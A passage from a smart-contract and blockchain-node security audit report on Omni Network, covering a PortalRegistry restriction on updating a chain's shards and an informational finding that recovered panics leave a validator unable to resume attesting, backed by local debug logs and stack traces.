    for i, e := range existing {
        if e.GetChainId() != portal.GetChainId() {
            continue
        }

        // Merge new shads with an existing portal
        if !bytes.Equal(e.GetAddress(), portal.GetAddress()) {
            return nil, errors.New("cannot merge existing portal with mismatching address",
                "existing", e.GetAddress(), "new", portal.GetAddress())
        } else if e.GetDeployHeight() != portal.GetDeployHeight() {
            return nil, errors.New("cannot merge existing portal with mismatching deploy height",
                "existing", e.GetDeployHeight(), "new", portal.GetDeployHeight())
        }

        toMerge := newShards(e.GetShardIds(), portal.GetShardIds())
        if len(toMerge) == 0 {
            return nil, errors.New("cannot merge existing portal with no new shards",
                "existing", e.GetShardIds(), "new", portal.GetShardIds())
        }

        existing[i].ShardIds = append(existing[i].ShardIds, toMerge...)

        return existing, nil
    }

    return append(existing, portal), nil // New chain, just append
}
```

However, such a functionality is unsupported in `PortalRegistry`, because we only allow one portal per chain in the `deployments[dep.chainId].addr == address(0)` we in turn only allow emitting one `PortalRegistered` event per chain ID the time.

```
/**
     * @notice Register an new OmniPortal deployment.
     * @dev Zero height deployments are allowed for now, as we use them for "private" chains.
     *      TODO: require non-zero height when e2e flow is updated to reflect real deploy heights.
     */
    function _register(Deployment calldata dep) internal {
        require(dep.addr != address(0), "PortalRegistry: zero addr");
        require(dep.chainId > 0, "PortalRegistry: zero chain ID");
        require(dep.attestInterval > 0, "PortalRegistry: zero interval");
        require(dep.blockPeriodNs <= uint64(type(int64).max), "PortalRegistry: period too large");
        require(dep.blockPeriodNs > 0, "PortalRegistry: zero period");
        require(bytes(dep.name).length > 0, "PortalRegistry: no name");
        require(dep.shards.length > 0, "PortalRegistry: no shards");

        // TODO: allow multiple deployments per chain?
        require(deployments[dep.chainId].addr == address(0), "PortalRegistry: already set");

        // only allow ConfLevel shards
        for (uint64 i = 0; i < dep.shards.length; i++) {
            uint64 shard = dep.shards[i];
            require(shard == uint8(shard) && ConfLevel.isValid(uint8(shard)), "PortalRegistry: invalid shard");
        }

        deployments[dep.chainId] = dep;
        chainIds.push(dep.chainId);

        emit PortalRegistered(
            dep.chainId, dep.addr, dep.deployHeight, dep.attestInterval, dep.blockPeriodNs, dep.shards, dep.name
        );
    }
```

As such there is no way to ever make an update to the portal's supported shards (for instance if we only have a `Finalized` shard and want to support the `Latest` shard)

- Recommendation

Instead of the following require check

```
        require(deployments[dep.chainId].addr == address(0), "PortalRegistry: already set");
```

Use:

```
        require(deployments[dep.chainId].addr == dep.addr, "PortalRegistry: already set");
```

This will allow updates to the same portal to be made.

3.7.52 `Panic` in `ExtendVote`, `VerifyVoteExtension` and `EndBlock` is not recovered properly

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description By trying todo an attack, I made a mistake and made panic the execution during `ExtendVote` (the same happen in `VerifyVoteExtension` and `EndBlock`). The concern is that while it was recovered by cometBFT, it doesn't really recover properly, as it doesn't go back into attesting and playing his role as validator.

Submitting this only as a `Info` as I don't have a deterministic way to induce such panic in others validator, but I consider this always a risk of happening. The expectation here would be that if the validator cannot fully recover, than it should not be recovered at all and hard crash. As now, this validator will continue wasting resources (fetching votes from external chains) until it's pauses and basically put in jail. Once detected by the operator, it will require to kill the process and restart it.

OUTPUT - ExtendVote

```
2024-10-30 10:35:39 24-10-30 14:35:39.798 DEBU  ABCI call: ProcessProposal            height=51 proposer=f810bdb
2024-10-30 10:35:39 2024/10/30 14:35:39 ****************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 1 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 1 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 1 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 2 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 2 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 2 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 2 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 3 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 3 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 4 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 3 (256)
2024-10-30 10:35:39 2024/10/30 14:35:39 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 4 (256)
2024-10-30 10:35:39 24-10-30 14:35:39.801 DEBU Marked local votes as proposed           votes=4 1001651=[14]
↪  1651="[16 16]" 1652=[17]
2024-10-30 10:35:39 2024/10/30 14:35:39 ****************************Voter::SetProposed()
2024-10-30 10:35:39 2024/10/30 14:35:39
↪  *******************************Octane::proposalServer::ExecutionPayload()
2024-10-30 10:35:39 2024/10/30 14:35:39
↪  *******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x8b9e8c390985b4a74a3c227e6fdcee64abd087a8efee440fe661e7dcb04c9d59
2024-10-30 10:35:39 2024/10/30 14:35:39 ****************************Voter::runOnce(): height: 78,
↪  AttestInterval: 10
2024-10-30 10:35:39 2024/10/30 14:35:39 ****************************Voter::runOnce(): height: 79,
↪  AttestInterval: 10
2024-10-30 10:35:39 2024/10/30 14:35:39 ****************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-10-30 10:35:39 2024/10/30 14:35:39 ****************************Voter::runOnce(): height: 87,
↪  AttestInterval: 10
2024-10-30 10:35:39 24-10-30 14:35:39.936 DEBU  ABCI call: ExtendVote               height=51
2024-10-30 10:35:39 2024/10/30 14:35:39 *******************************ExtendVote(): LocalAddress -->
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7. Available: 4
2024-10-30 10:35:39 2024/10/30 14:35:39 *******************************ExtendVote(): final votes: 4
```

```
2024-10-30 10:35:39 24-10-30 14:35:39.938 ERRO panic recovered in ExtendVote            height=51
↪  hash=00A3C545AC9CFD7CEC37F8218F7BFFC1826D5E46F152F67255A7DE68F3B2E8D7 panic=<nil>
2024-10-30 10:35:39 24-10-30 14:35:39.938 ERRO ExtendVote failed [BUG]                   height=51
↪  err="recovered application panic in ExtendVote: runtime error: slice bounds out of range [:256] with
↪  capacity 223"
2024-10-30 10:35:39 24-10-30 14:35:39.938 ERRO CONSENSUS FAILURE!!!                      module=consensus
2024-10-30 10:35:39   stack=
2024-10-30 10:35:39    goroutine 393 [running]:
2024-10-30 10:35:39    runtime/debug.Stack()
2024-10-30 10:35:39    \t/usr/local/go1.23.2/src/runtime/debug/stack.go:26 +0x5e
2024-10-30 10:35:39    github.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:801 +0x46
2024-10-30 10:35:39    panic({0x2715580?, 0xc008c70260?})
2024-10-30 10:35:39    \t/usr/local/go1.23.2/src/runtime/panic.go:785 +0x132
2024-10-30 10:35:39    github.com/cometbft/cometbft/state.(*BlockExecutor).ExtendVote(_, {_, _}, _, _, {{{0xb,
↪  0x0}, {0xc000945d28, 0x7}}, {0xc000945d70, ...}, ...})
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/state/execution.go:351 +0x4f3
2024-10-30 10:35:39    github.com/cometbft/cometbft/consensus.(*State).signVote(0xc002b68008, 0x2,
↪  {0xc008057260, 0x20, 0x20}, {0xea8608?, {0xc008057280?, 0xc00353943c?, 0x160?}}, 0xc003008f00)
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2389 +0x4dd
2024-10-30 10:35:39    github.com/cometbft/cometbft/consensus.(*State).signAddVote(0xc002b68008, 0x2,
↪  {0xc008057260, 0x20, 0x20}, {0x1?, {0xc008057280?, 0xc004983b60?, 0x20?}}, 0xc003008f00)
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2450 +0x215
2024-10-30 10:35:39    github.com/cometbft/cometbft/consensus.(*State).enterPrecommit(0xc002b68008, 0x33, 0x0)
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1537 +0x12d7
2024-10-30 10:35:39    github.com/cometbft/cometbft/consensus.(*State).addVote(0xc002b68008, 0xc00982e680,
↪  {0xc0031ae480, 0x28})
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2307 +0x17cf
2024-10-30 10:35:39    github.com/cometbft/cometbft/consensus.(*State).tryAddVote(0xc002b68008, 0xc00982e680,
↪  {0xc0031ae480?, 0x0?})
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2067 +0x26
2024-10-30 10:35:39    github.com/cometbft/cometbft/consensus.(*State).handleMsg(0xc002b68008, {{0x32143c0,
↪  0xc00471fbc0}, {0xc0031ae480, 0x28}})
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:929 +0x38b
2024-10-30 10:35:39    github.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0xc002b68008, 0x0)
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:836 +0x3f1
2024-10-30 10:35:39    created by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 30
2024-10-30 10:35:39
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:398 +0x10c
2024-10-30 10:35:39  err="ExtendVote call failed: recovered application panic in ExtendVote: runtime error:
↪  slice bounds out of range [:256] with capacity 223"

...


2024-10-30 10:39:29 24-10-30 14:39:29.676 DEBU  ABCI call: Info
2024-10-30 10:39:29 24-10-30 14:39:29.676 WARN Halo height is not increasing, evm syncing? height=50
2024-10-30 10:39:29 24-10-30 14:39:29.677 ERRO Attached omni evm has 0 peers
2024-10-30 10:39:31 24-10-30 14:39:31.788 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|L height=147 attest_offset=41 block_height=147
2024-10-30 10:39:32 24-10-30 14:39:32.349 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|F height=75 attest_offset=31 block_height=75
2024-10-30 10:39:32 24-10-30 14:39:32.511 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|F height=139 attest_offset=38 block_height=139
2024-10-30 10:39:33 24-10-30 14:39:33.397 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|L height=73 attest_offset=30 block_height=73
2024-10-30 10:39:33 24-10-30 14:39:33.456 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|L height=150 attest_offset=40 block_height=150
2024-10-30 10:39:34 24-10-30 14:39:34.093 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|F height=140 attest_offset=38 block_height=140
2024-10-30 10:39:36 24-10-30 14:39:36.579 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|F height=75 attest_offset=31 block_height=75
2024-10-30 10:39:36 24-10-30 14:39:36.794 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|L height=147 attest_offset=41 block_height=147
2024-10-30 10:39:37 24-10-30 14:39:37.336 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|F height=139 attest_offset=38 block_height=139
2024-10-30 10:39:37 24-10-30 14:39:37.705 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|L height=73 attest_offset=30 block_height=73
```

```
2024-10-30 10:39:38 24-10-30 14:39:38.943 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|L height=150 attest_offset=40 block_height=150
2024-10-30 10:39:38 24-10-30 14:39:38.980 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|F height=140 attest_offset=38 block_height=140
```

OUTPUT - VerifyVoteExtension

```
2024-10-30 19:16:49 2024/10/30 23:16:49 ******************************VerifyVoteExtension(): INFECTING CRASH!
2024-10-30 19:16:49 24-10-30 23:16:49.314 ERRO panic recovered in VerifyVoteExtension   height=51
↪  hash=CA25825B1546925AEF003CF06AEE32E01B495573DC81A350EBA2E0D44E7AAB69
↪  validator=E3B82D33B3ACEF96A627ADB8C96AC5DF869FD689 err="runtime error: slice bounds out of range [:120]
↪  with capacity 0"
2024-10-30 19:16:49 24-10-30 23:16:49.315 ERRO VerifyVoteExtension failed [BUG]         height=51
↪  err="recovered application panic in VerifyVoteExtension: runtime error: slice bounds out of range [:120]
↪  with capacity 0"
2024-10-30 19:16:49 24-10-30 23:16:49.315 ERRO CONSENSUS FAILURE!!!                     module=consensus
2024-10-30 19:16:49   stack=
2024-10-30 19:16:49    goroutine 280 [running]:
2024-10-30 19:16:49    runtime/debug.Stack()
2024-10-30 19:16:49    \t/usr/local/go1.23.2/src/runtime/debug/stack.go:26 +0x5e
2024-10-30 19:16:49    github.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()
2024-10-30 19:16:49
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:801 +0x46
2024-10-30 19:16:49    panic({0x2715580?, 0xc0028b5580?})
2024-10-30 19:16:49    \t/usr/local/go1.23.2/src/runtime/panic.go:785 +0x132
2024-10-30 19:16:49    github.com/cometbft/cometbft/state.(*BlockExecutor).VerifyVoteExtension(0xc002b7e280,
↪  {0x323a308, 0x7518c80}, 0xc008ff36c0)
2024-10-30 19:16:49
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/state/execution.go:366 +0x23f
2024-10-30 19:16:49    github.com/cometbft/cometbft/consensus.(*State).addVote(0xc002202388, 0xc008ff36c0,
↪  {0xc004362090, 0x28})
2024-10-30 19:16:49
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2199 +0x930
2024-10-30 19:16:49    github.com/cometbft/cometbft/consensus.(*State).tryAddVote(0xc002202388, 0xc008ff36c0,
↪  {0xc004362090?, 0x0?})
2024-10-30 19:16:49
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:2067 +0x26
2024-10-30 19:16:49    github.com/cometbft/cometbft/consensus.(*State).handleMsg(0xc002202388, {{0x3214380,
↪  0xc00340e5a8}, {0xc004362090, 0x28}})
2024-10-30 19:16:49
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:929 +0x38b
2024-10-30 19:16:49    github.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0xc002202388, 0x0)
2024-10-30 19:16:49
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:836 +0x3f1
2024-10-30 19:16:49    created by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 228
2024-10-30 19:16:49
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:398 +0x10c
2024-10-30 19:16:49  err="VerifyVoteExtension call failed: recovered application panic in VerifyVoteExtension:
↪  runtime error: slice bounds out of range [:120] with capacity 0"

...

2024-10-30 19:18:02 24-10-30 23:18:02.250 DEBU  ABCI call: Info
2024-10-30 19:18:02 24-10-30 23:18:02.250 WARN Halo height is not increasing, evm syncing? height=50
2024-10-30 19:18:02 24-10-30 23:18:02.250 ERRO Attached omni evm has 0 peers
2024-10-30 19:18:03 24-10-30 23:18:03.630 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|L height=73 attest_offset=33 block_height=73
2024-10-30 19:18:04 24-10-30 23:18:04.480 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|F height=74 attest_offset=34 block_height=74
2024-10-30 19:18:04 24-10-30 23:18:04.553 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|L height=138 attest_offset=34 block_height=138
2024-10-30 19:18:04 24-10-30 23:18:04.668 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|F height=130 attest_offset=32 block_height=130
2024-10-30 19:18:05 24-10-30 23:18:05.005 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|L height=138 attest_offset=38 block_height=138
2024-10-30 19:18:05 24-10-30 23:18:05.251 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|F height=130 attest_offset=36 block_height=130
2024-10-30 19:18:08 24-10-30 23:18:08.648 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|L height=73 attest_offset=33 block_height=73
2024-10-30 19:18:09 24-10-30 23:18:09.065 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|L height=138 attest_offset=38 block_height=138
2024-10-30 19:18:09 24-10-30 23:18:09.105 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=omni_evm|F height=74 attest_offset=34 block_height=74
2024-10-30 19:18:09 24-10-30 23:18:09.543 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|L height=138 attest_offset=34 block_height=138
```

```
2024-10-30 19:18:10 24-10-30 23:18:10.020 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l2|F height=130 attest_offset=32 block_height=130
2024-10-30 19:18:11 24-10-30 23:18:11.169 WARN Voting paused, latest approved attestation is too far behind
↪  (stuck?) chain=mock_l1|F height=130 attest_offset=36 block_height=130
```

OUTPUT - EndBlock

```
2024-10-30 23:02:02 24-10-31 03:02:02.530 DEBU  ABCI call: ProcessProposal            height=51 proposer=f810bdb
2024-10-30 23:02:02 2024/10/31 03:02:02 ***************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 1 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 1 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 1 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 2 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 2 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 2 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 2 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 3 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 3 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 3 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 3 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 4 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 4 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 4 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 4 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 5 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 5 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 5 (256)
2024-10-30 23:02:02 2024/10/31 03:02:02 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 6 (256)
2024-10-30 23:02:02 24-10-31 03:02:02.537 DEBU Marked local votes as proposed           votes=4 1652=[20]
↪  1001651=[15] 1651="[17 17]"
2024-10-30 23:02:02 2024/10/31 03:02:02 ***************************Voter::SetProposed()
2024-10-30 23:02:02 2024/10/31 03:02:02
↪  *******************************Octane::proposalServer::ExecutionPayload()
2024-10-30 23:02:02 2024/10/31 03:02:02
↪  *******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x452e114c11079bee63338509714e015b333314a27e8f7a75bd2435a1867bcbe7
2024-10-30 23:02:02 24-10-31 03:02:02.673 DEBU  ABCI call: ExtendVote               height=51
2024-10-30 23:02:02 2024/10/31 03:02:02 *******************************ExtendVote(): LocalAddress -->
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7. Available: 4
2024-10-30 23:02:02 2024/10/31 03:02:02 *******************************ExtendVote(): final votes: 4
2024-10-30 23:02:02 24-10-31 03:02:02.674 INFO Voted for rollup blocks                votes=3 1654-4=[23]
↪  1654-1="[27 28]" 1001651-4=[16]
2024-10-30 23:02:02 2024/10/31 03:02:02 ***************************Voter::runOnce(): height: 79,
↪  AttestInterval: 10
2024-10-30 23:02:02 24-10-31 03:02:02.684 DEBU Not creating vote for empty cross chain block chain=mock_l1|F
↪  height=79
2024-10-30 23:02:02 2024/10/31 03:02:02 ***************************Voter::runOnce(): height: 79,
↪  AttestInterval: 10
2024-10-30 23:02:02 24-10-31 03:02:02.685 DEBU Not creating vote for empty cross chain block chain=mock_l2|F
↪  height=79
2024-10-30 23:02:02 2024/10/31 03:02:02 ***************************Voter::runOnce(): height: 87,
↪  AttestInterval: 10
```

```
2024-10-30 23:02:02 2024/10/31 03:02:02 **************************Voter::runOnce(): height: 88,
↪  AttestInterval: 10
2024-10-30 23:02:02 24-10-31 03:02:02.868 DEBU  ABCI call: VerifyVoteExtension        height=51
2024-10-30 23:02:02 2024/10/31 03:02:02 ***********************VerifyVoteExtension(): validator:
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73, block hash:
↪  0x209d937234a38bd77502ca276bf2e08a76ab53f30d33ec847b3cf1de7a619d4a, height: 51
2024-10-30 23:02:02 24-10-31 03:02:02.873 DEBU  ABCI call: VerifyVoteExtension        height=51
2024-10-30 23:02:02 2024/10/31 03:02:02 ***********************VerifyVoteExtension(): validator:
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73, block hash:
↪  0x209d937234a38bd77502ca276bf2e08a76ab53f30d33ec847b3cf1de7a619d4a, height: 51
2024-10-30 23:02:02 24-10-31 03:02:02.874 DEBU  ABCI call: VerifyVoteExtension        height=51
2024-10-30 23:02:02 2024/10/31 03:02:02 ***********************VerifyVoteExtension(): validator:
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1, block hash:
↪  0x209d937234a38bd77502ca276bf2e08a76ab53f30d33ec847b3cf1de7a619d4a, height: 51
2024-10-30 23:02:02 2024/10/31 03:02:02 **************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-30 23:02:02 2024/10/31 03:02:02 **************************Keeper::Add()
2024-10-30 23:02:02 24-10-31 03:02:02.886 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=132 existing_valset_id=11 vote_valset_id=12 chain=omni_consensus|F attest_offset=14 sigs=1
2024-10-30 23:02:02 24-10-31 03:02:02.887 DEBU Marked local votes as committed          votes=4 1652=[20]
↪  1001651=[15] 1651="[17 17]"
2024-10-30 23:02:02 2024/10/31 03:02:02 **************************Voter::SetCommitted()
2024-10-30 23:02:02 2024/10/31 03:02:02 *******************************Octane::msgServer::ExecutionPayload()
2024-10-30 23:02:02 2024/10/31 03:02:02 *******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0x452e114c11079bee63338509714e015b333314a27e8f7a75bd2435a1867bcbe7
2024-10-30 23:02:02 24-10-31 03:02:02.898 DEBU Delivered evm logs                       height=49 count=0
2024-10-30 23:02:02 2024/10/31 03:02:02 *******************************Keeper::EndBlock(): INFECTING CRASH!
2024-10-30 23:02:02 24-10-31 03:02:02.899 ERRO CONSENSUS FAILURE!!!                     module=consensus
2024-10-30 23:02:02   stack=
2024-10-30 23:02:02    goroutine 329 [running]:
2024-10-30 23:02:02    runtime/debug.Stack()
2024-10-30 23:02:02    \t/usr/local/go1.23.2/src/runtime/debug/stack.go:26 +0x5e
2024-10-30 23:02:02    github.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:801 +0x46
2024-10-30 23:02:02    panic({0x2985fc0?, 0xc008f36c48?})
2024-10-30 23:02:02    \t/usr/local/go1.23.2/src/runtime/panic.go:785 +0x132
2024-10-30 23:02:02    github.com/omni-network/omni/halo/attest/keeper.(*Keeper).EndBlock(0xc0007bcb40,
↪  {0x323a448, 0xc006708388})
2024-10-30 23:02:02    \t/mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/keeper/keeper.go:668 +0x298
2024-10-30 23:02:02    github.com/omni-network/omni/halo/attest/module.AppModule.EndBlock(...)
2024-10-30 23:02:02    \t/mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/module/module.go:91
2024-10-30 23:02:02    github.com/cosmos/cosmos-sdk/types/module.(*Manager).EndBlock(_, {{0x323a250,
↪  0x7518c80}, {0x3251a20, 0xc0072bef80}, {{0x0, 0x0}, {0xc00353c220, 0xc}, 0x33, ...}, ...})
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cosmos/cosmos-sdk@v0.50.10/types/module/module.go:798 +0x232
2024-10-30 23:02:02    github.com/cosmos/cosmos-sdk/runtime.(*App).EndBlocker(...)
2024-10-30 23:02:02    \t/home/dontonka/go/pkg/mod/github.com/cosmos/cosmos-sdk@v0.50.10/runtime/app.go:170
2024-10-30 23:02:02    github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).endBlock(0xc00078dd48, {0x7518c80?,
↪  0x3251a20?})
2024-10-30 23:02:02
↪  \t/home/dontonka/go/pkg/mod/github.com/cosmos/cosmos-sdk@v0.50.10/baseapp/baseapp.go:798 +0xf5
2024-10-30 23:02:02    github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).internalFinalizeBlock(0xc00078dd48,
↪  {0x323a250, 0x7518c80}, 0xc0064e8e40)
2024-10-30 23:02:02    \t/home/dontonka/go/pkg/mod/github.com/cosmos/cosmos-sdk@v0.50.10/baseapp/abci.go:822
↪  +0x142f
2024-10-30 23:02:02    github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).FinalizeBlock(0xc00078dd48, 0xc0064e8e40)
2024-10-30 23:02:02    \t/home/dontonka/go/pkg/mod/github.com/cosmos/cosmos-sdk@v0.50.10/baseapp/abci.go:887
↪  +0x16c
2024-10-30 23:02:02    github.com/cosmos/cosmos-sdk/server.cometABCIWrapper.FinalizeBlock(...)
2024-10-30 23:02:02    \t/home/dontonka/go/pkg/mod/github.com/cosmos/cosmos-sdk@v0.50.10/server/cmt_abci.go:44
